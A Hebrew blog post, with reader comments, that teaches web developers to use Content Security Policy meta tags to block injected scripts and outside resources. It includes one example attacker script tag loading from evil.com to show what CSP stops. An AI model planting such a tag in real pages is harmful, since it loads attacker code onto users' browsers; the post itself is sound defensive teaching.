אחד הדברים הכי חשובים בתחום אבטחת המידע בצד הלקוח הוא CSP שזה ראשי תבות של Content Security Policy. מה זה אומר בעצם? זה אומר שזה נותן לי, לבונה האתר, בונה האפליקציה או כל מי שאחראי לצד הלקוח – את הזכות להחליט מי נטען לאתר שלי – כשהכוונה היא סקריפטים, תמונות, CSSים, פונטים, וידאו וכל משאב אחר. אני זה שבוחר מה נטען.
למה צריך את זה בכלל?
יש לא מעט התקפות, כמו XSS (אבל לא רק) שמתבססות על כך שהתוקף מזריק לאתר שלנו סקריפט ג'אווהסקריפט זדוני שיכול לעשות לנו צרות צרורות. תחשבו למשל על סקריפט שמקפיץ לכל המשתמשים באתר שלי פופאפ שיש בו "התראה" על עדכון פלאש. מי שלוחץ על הפופאפ ומתקין את התוכנה – לא מקבל עדכון פלאש אלא כופרה שמצפינה את המחשב שלו. זו התקפה שכמעט והתרחשה בישראל באתר Ynet, כלכליסט ואחרים. כיוון שאנשים מאמינים לאתרים האלו – רובם לא היו חושבים פעמיים כשהם היו רואים הודעות מהאתר. או למשל סקריפט שכולל keylogger שמאזין להקלדות של הסיסמה בדף הלוגין ושולח אותה אל התוקף. או סקריפט באתר של עיריה שאומר שהעיריה רוצה להחזיר לך כסף, רק תכניס את כרטיס האשראי פה. העיריה לא תקבל כסף, מי שיקבל כסף הוא התוקף שיקבל את פרטי כרטיס האשראי.
ההתקפות האלו מתבססות על כך שברוב הפעמים התוקף פשוט מכניס משהו כזה לאתר שלי.
<script src="https://evil.com/evil.js"></script>
איך תוקף עושה את זה? כאמור יש מגוון דרכים. CSP לא ימנע מתוקף להכניס סקריפט זדוני לקוד של האתר. אבל הוא כן ימנע טעינה שלו. כלומר התוקף יכול להשתמש בחולשה שיש באתר כדי להכניס תגית <script> זדונית או תגית <style> תוקפנית במיוחד. אבל אנו יכולים, באמצעות CSP, למנוע את הטעינה של המשאב אם הקטסטרופה הזו מתרחשת.
הטמעת CSP
וזה גם לא קשה. CSP אפשר להטמיע באמצעות מטא תגית או Header ב-response בצד השרת. אני אראה את זה באמצעות מטא תגית – תראו כמה זה פשוט!
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'">
אם אני שם את תגית המטא הזו בתחילת העמוד, אני בעצם מיישם CSP. איזו מדיניות? מה שיש ב-content. במקרה הזה:
default-src 'self'
מה זה אומר? זה אומר שאך ורק קבצים מהדומיין *שלי* ייטענו. כדי להדגים את זה – יצרתי את העמוד הזה שבו יש CSP כזה. שימו לב שכל המשאבים החיצוניים: סרטון יוטיוב, סרטון וימאו ותמונה מלורם פיקסום – נחסמים לאחר כבוד.
זה כמובן לא ריאלי. אתרי האינטרנט/אפליקציות של היום חייבים להכיל סקריפטים/משאבים ממקורות אחרים. מה, בלי סרטון וידאו? no way. אבל זה לא אומר שאני צריך לתת לכל אחד להתפרע. אני יכול לבוא ולומר שאני מוכן לקבל משאב ממקור אחד ולא ממקור אחר. אם בתגית ה-CSP יש משהו כזה:
<meta http-equiv="Content-Security-Policy"
content="default-src 'self' *.vimeo.com">
אז כל מהדומיין שלי (self) ייטען ובנוסף גם משאב מ-vimeo.com ייטען. (שימו לב ששמתי כוכבית כדי לכלול את כל התת דומיינים, אבל אני יכול להתפרע הרבה יותר – לשים כתובות ממש ספציפיות כמו https://vimeo.com/video/link/to/very/specific/video). הנה הדוגמה החיה. שימו לב שרק הוידאו מ-vimeo נטען. כל השאר? גורנישט מיט גורנישט.
אני יכול להפריד את המשאבים. default-src הוא ברירת המחדל. אבל אני יכול לפרט משאבים שונים. אני יכול לומר למשל שאני מוכן שסקריפטים ייטענו ממקור מסוים, אבל תמונות הוא לא יטען (או ההיפך). פה למשל אני יכול לומר שתמונות, כלומר img-src יכולות להטען מ: https://picsum.photos. אבל רק תמונות. לא סקריפטים.
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; img-src 'self' https://picsum.photos">
למה זה טוב? כי אם תוקף ישתלט על picsum.photos ויכניס לשם סקריפט זדוני ואז ינסה להשתיל את הסקריפט הזדוני אצלנו, הוא לא יצליח. יש סדר. אנחנו רוצים תמונות מאתר מסוים? רק משם נטען את התמונות. אנו רוצים פונטים? אז רק פונטים.
CSP היא לא מורכבת, אבל יש לה המון ניואנסים במדיניות. ב-MDN יש פירוט על כל סוגי המדיניות שיש. שווה לתת שם הצצה.
דיבאגינג
בנוסף, מאוד קל לדבג את CSP. ברגע שמשאב מסוים מסרב להיטען בגלל מדיניות CSP. יש הודעה מאוד בולטת בקונסולה שמציינת בדיוק את זה. אתם יכולים לפתוח את הקונסולה בדפי הדוגמה שלי ולראות בעצמכם. אבל אלו שגיאות שממש אי אפשר לפספס.
זה חשוב כי ברגע שאנו מטמיעים את זה – יהיו תקלות וגם יש נטיה טבעית להאשים את כל התקלות שיש באתר ב-CSP. אם אין תקלה כזו – האתר שלכם התחרבש בלי קשר ל-CSP.
כאמור ברוב הפעמים אנו מטמיעים CSP ב-headers ולא בתגית מטא. אבל זה מעולה לדוגמאות. מעכשיו אין תירוצים.
5 תגובות
מה עושים כשיש סקריפטים INLINE?
איך מטמיעים CSP ב-headers ?
תותח!
רגע, אם התוקף השתלט על האתר כך שיכול להזריק תגית script, הוא לא יכול גם להסיר את התגית csp מהhtml? או פשוט להריץ קוד זדוני inline?
יש 4 פוסטים מצויינים בבלוג של DropBox שמסבירים איך הם הטמיעו CSP באתר שלהם ואת הבעיות והאתגרים שהם נתקלו בהם:
https://blogs.dropbox.com/tech/tag/content-security-policy/